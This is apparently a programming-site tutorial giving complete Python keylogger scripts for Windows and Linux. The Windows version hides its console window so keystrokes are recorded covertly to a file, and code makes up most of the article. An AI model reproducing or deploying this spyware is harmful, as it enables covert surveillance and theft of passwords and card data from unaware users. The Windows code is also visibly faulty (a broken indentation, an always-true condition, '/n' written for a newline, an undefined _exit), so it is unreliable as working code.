Design a Keylogger in Python

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording (logging) the keys struck on a keyboard, typically covertly, so that the person using the keyboard is unaware that their actions are being monitored.

These are computer programs designed to work on the target computer’s software. Keyloggers are used in IT organizations to troubleshoot technical problems with computers and business networks. Families and business people use keyloggers legally to monitor network usage without their users’ direct knowledge. However, malicious individuals can use keyloggers on public computers to steal passwords or credit card information.

This article illustrates designing keylogger for windows and linux.

Keylogger for Windows

Download some python libraries
1) pywin32
2) pyhook‘



Following is the code to create keylogger in python

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# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook
  
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
  
def OnKeyboardEvent(event):
    if event.Ascii==5:
        _exit(1)
    if event.Ascii !=0 or 8:
    #open output.txt to read current keystrokes
        f = open('c:\output.txt', 'r+')
        buffer = f.read()
        f.close()
    # open output.txt to write current + new keystrokes
        f = open('c:\output.txt', 'w')
        keylogs = chr(event.Ascii)
        if event.Ascii == 13:
        keylogs = '/n'
        buffer += keylogs
        f.write(buffer)
        f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

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Save the file in C:\ as Keylogger.py and run thepython file

Output: 

The keylogger will be started in the background and save all the data on the log file “c:\output.txt”. 


Keylogger in Linux


pyxhook requires python-xlib. Install it if you don’t have it already. 


sudo apt-get install python-xlib


Download pyxhook library











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# Python code for keylogger 


# to be used in linux 


import os 


import pyxhook 


  


# This tells the keylogger where the log file will go. 


# You can set the file path as an environment variable ('pylogger_file'), 


# or use the default ~/Desktop/file.log 


log_file = os.environ.get( 


    'pylogger_file', 


    os.path.expanduser('~/Desktop/file.log') 


) 


# Allow setting the cancel key from environment args, Default: ` 


cancel_key = ord( 


    os.environ.get( 


        'pylogger_cancel', 


        '`'


    )[0] 


) 


  


# Allow clearing the log file on start, if pylogger_clean is defined. 


if os.environ.get('pylogger_clean', None) is not None: 


    try: 


        os.remove(log_file) 


    except EnvironmentError: 


       # File does not exist, or no permissions. 


        pass


  


#creating key pressing event and saving it into log file 


def OnKeyPress(event): 


    with open(log_file, 'a') as f: 


        f.write('{}\n'.format(event.Key)) 


  


# create a hook manager object 


new_hook = pyxhook.HookManager() 


new_hook.KeyDown = OnKeyPress 


# set the hook 


new_hook.HookKeyboard() 


try: 


    new_hook.start()         # start the hook 


except KeyboardInterrupt: 


    # User cancelled from command line. 


    pass


except Exception as ex: 


    # Write exceptions to the log file, for analysis later. 


    msg = 'Error while catching events:\n  {}'.format(ex) 


    pyxhook.print_err(msg) 


    with open(log_file, 'a') as f: 


        f.write('\n{}'.format(msg)) 



















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Output:

The keylogger will be started in the background and save all the data on the file.log file “/home/akash/Desktop”. 




References

https://en.wikipedia.org/wiki/Keystroke_logging


This article is contributed by Akash Sharan. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.


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